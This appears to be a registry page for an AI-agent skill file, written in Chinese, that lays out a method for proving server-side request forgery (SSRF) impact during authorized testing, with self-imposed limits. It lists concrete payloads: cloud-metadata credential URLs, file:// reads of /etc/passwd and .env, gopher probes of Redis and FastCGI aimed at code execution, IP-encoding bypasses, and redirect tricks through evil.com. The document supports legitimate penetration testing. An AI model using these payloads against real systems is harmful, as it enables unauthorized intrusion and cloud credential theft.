<< All versions

Skill v1.0.0

currentAutomated scan100/100
haibo3434358/scareaisec/exploit-ssrf
──Details
PublishedOctober 27, 2026 at 08:44 PM
Content Hashsha256:2d3c4397d6988197...
Git SHA9560f9092c9f
──Files
Files (1 file, 8.4 KB)
SKILL.md8.4 KBactive
SKILL.md · 207 lines · 8.4 KB

name: exploit-ssrf description: "SSRF/服务器请求伪造危害证明。确认服务端可控 URL、Webhook、图片抓取、PDF 渲染、导入回调、代理下载、重定向跟随或 XML/XXE SSRF 后使用。先识别 URL 解析器、重定向/DNS 行为、fetcher 协议能力和回显/OOB/错误/异步通道,再按受控 callback、metadata 根目录、角色名、localhost/banner 分层证明可达;不读取完整云凭证,不扫描内网,不写入内网服务。" enabled: true category: "exploit" priority: 9 vuln_types:

  • SSRF
  • 服务器请求伪造
  • 盲SSRF
  • 云Metadata访问
  • 内网探测

triggers:

  • ssrf confirmed
  • SSRF已确认
  • blind ssrf
  • metadata
  • 内网探测
  • 云凭证
  • webhook callback
  • url fetch
  • 169.254.169.254
  • 100.100.100.200

synonyms:

  • ssrf-exploit
  • ssrf proof
  • blind ssrf proof
  • metadata proof
  • SSRF危害证明

metadata: version: "1.0.0" tags: "exploit,ssrf,metadata,cloud,gopher,file,内网,危害证明,盲SSRF,OOB,云metadata,安全边界" category: "exploit" type: "exploitation" target_vuln_types: "SSRF,服务器请求伪造,盲SSRF,云Metadata访问"


SSRF 危害证明方法论

目标:证明服务端可被攻击者控制去访问受限网络资源,包括云 Metadata、内网服务、回环地址或受控回调地址。

实战证明总纲:先建模,再选通道

不要把 SSRF 简化成只测 127.0.0.1 或云 metadata。真实链路里经常存在 URL 校验器、重定向跟随器、DNS 解析器、代理层、协议白名单和异步 worker 的差异;证明目标是“服务端可达受限资源”,不是读取凭证或扫描内网。

执行顺序固定为:

  1. 识别入口形态:Webhook、图片/头像抓取、PDF/截图渲染、导入 URL、代理下载、回调配置、XML/XXE、对象存储转存、异步任务。
  2. 识别解析链路:前端 URL 校验、后端 URL parser、DNS 解析时机、重定向策略、代理环境、协议支持、IPv4/IPv6/IDN 规范化。
  3. 识别可见性:直接回显、错误回显、状态码/时间差、任务状态、日志、受控 DNS/HTTP callback。
  4. 选择证明通道:自有 callback、无敏 metadata 根目录、localhost banner、重定向解析差异、DNS rebinding 判定、协议能力差异。
  5. 最小证明即停:只证明源 IP、User-Agent、可达路径或角色名;不读取完整云 token,不枚举端口,不向内网写入。
场景常规 payload 为什么失败推荐证明通道最小安全证据
盲 SSRF当前响应不可见DNS/HTTP callback、任务日志唯一 token + 源 IP/UA/时间戳
回显 SSRF只允许 HTTP/HTTPSmetadata 根目录、localhost banner根目录/服务 banner 片段
URL 黑名单解析器与校验器不一致重定向、编码、IPv6/十进制、DNS 差异同一 URL 链路可达受限目标
异步抓取响应只返回任务 ID任务状态、错误原因、callback任务日志或 callback 可复现
云环境metadata 被限制或需 Header根目录/角色名/错误语义只证明可达或限制存在

0. 证据等级与证明路径

等级证据说明
不充分只有 URL 参数、只有请求失败差异、只有 WAF 拦截、无法证明服务端发起请求不能判定 SSRF
基础可提交受控 DNS/HTTP 回调收到目标服务器请求,或回显内网/metadata 安全探针内容已证明 SSRF
高质量能证明可达云 metadata 目录、内网服务 banner、本机服务,但不读取敏感凭证危害边界清晰

按类型选择证明路径:

  • 回显 SSRF:响应体直接显示目标内容,优先读取无敏感探针,如 metadata 根目录、服务 banner。
  • 盲 SSRF:必须使用受控 DNS/HTTP callback 证明服务端出网,记录源 IP、User-Agent、时间戳。
  • 半回显 SSRF:通过响应时间、错误差异、状态码和 callback 组合确认,不单靠一次超时判断。

🎯 证明目标(P0即可停)

优先级目标到此可停
P0云Metadata可达✅
P1IAM角色名/凭证前缀✅ 推荐
P2内网服务banner

📋 云 Metadata

AWS EC2

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
# IMDSv2需PUT获取Token,普通SSRF通常无法设置

阿里云 ECS(国内最常见,无需Header)

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}

腾讯云 CVM(无需Header)

http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}

GCP(v1beta1无需Header!)

http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

📋 协议利用

file://(本地文件)

file:///etc/passwd | file:///proc/self/environ | file:///app/.env
# 支持:PHP curl、Java、Python urllib | 不支持:requests、Node.js http

gopher://(构造任意TCP,最强)

# Redis PING验证: gopher://127.0.0.1:6379/_PING%0d%0a → +PONG
# FastCGI RCE: gopher://127.0.0.1:9000/_<FastCGI请求>
# 支持:PHP curl | 不支持:Python requests、Node.js、Go

dict://(服务探测)

dict://127.0.0.1:6379/INFO # Redis
dict://127.0.0.1:11211/stats # Memcached

📋 内网服务指纹

端口服务识别危害
6379Redis+PONG未授权→RCE
9200ElasticsearchJSON含cluster_name数据泄露
2375Docker APIApiVersion容器逃逸
9000PHP-FPM无HTTP响应RCE
8848Nacoscode:200配置泄露
8080内部应用HTML/JSON未授权

📋 IP 绕过

方式示例
十进制http://2130706433/(=127.0.0.1) / http://2852039166/(=169.254.169.254)
八进制http://0177.0.0.1/
IPv6http://[::1]/ / http://[::ffff:127.0.0.1]/
缩写http://127.1/ / http://0/
DNShttp://127.0.0.1.nip.io/ / http://localtest.me/
URL解析http://evil.com@169.254.169.254/
重定向http://evil.com/redirect?url=http://169.254.169.254/
DNS Rebinding第一次解析→公网IP(过白名单),第二次→127.0.0.1(实际请求)

🛡️ 安全边界

  • ✅ 云 Metadata 只证明根目录、角色名或 endpoint 可达;不要读取完整临时凭证。
  • ✅ 内网服务只取 banner、版本、PING/INFO 这类无害响应。
  • ✅ file:// 只在授权范围内读取低敏探针;优先 /etc/hostname、/proc/self/cgroup,避免直接读取业务密钥。
  • ❌ 禁止使用 IAM/STS/CAM/RAM 凭证调用云 API。
  • ❌ 禁止向 Redis/MySQL/内网 HTTP 服务写入数据、执行命令或修改配置。
  • 内网目标最多 5 个,总请求≤15 个;证明可达后立即停止。

最低危害证明自检

提交前必须确认:

#自检项
1已证明请求由目标服务器发起,而不是浏览器、前端或本地网络发起
2已区分回显 SSRF、盲 SSRF、半回显 SSRF,并给出对应证据
3已记录 callback 时间戳、源 IP、User-Agent 或响应体关键片段
4已证明访问了受限资源:metadata、localhost、内网 IP 或受控回调
5未读取完整云凭证、未调用云 API、未写入内网服务
6已说明绕过方式,如 IP 编码、重定向、DNS、协议变体或白名单缺陷

📊 证据模板

**注入点**: POST /api/webhook, 参数 callback_url
**类型**: 回显 SSRF / 盲 SSRF / 半回显 SSRF
**绕过**: 十进制IP 2852039166
**服务端请求证据**: callback 收到来自目标出口 IP 的请求,UA=Go-http-client/1.1,时间=2026-xx-xx
**受限资源证明**: metadata 根目录可达 / 内网 Redis 返回 +PONG / localhost 服务 banner
**安全边界**: 未读取完整云凭证,未写入内网服务
**结论**: confirmed_vuln | confirmed_limited_impact | suspected_vuln | needs_review | not_vuln
All versions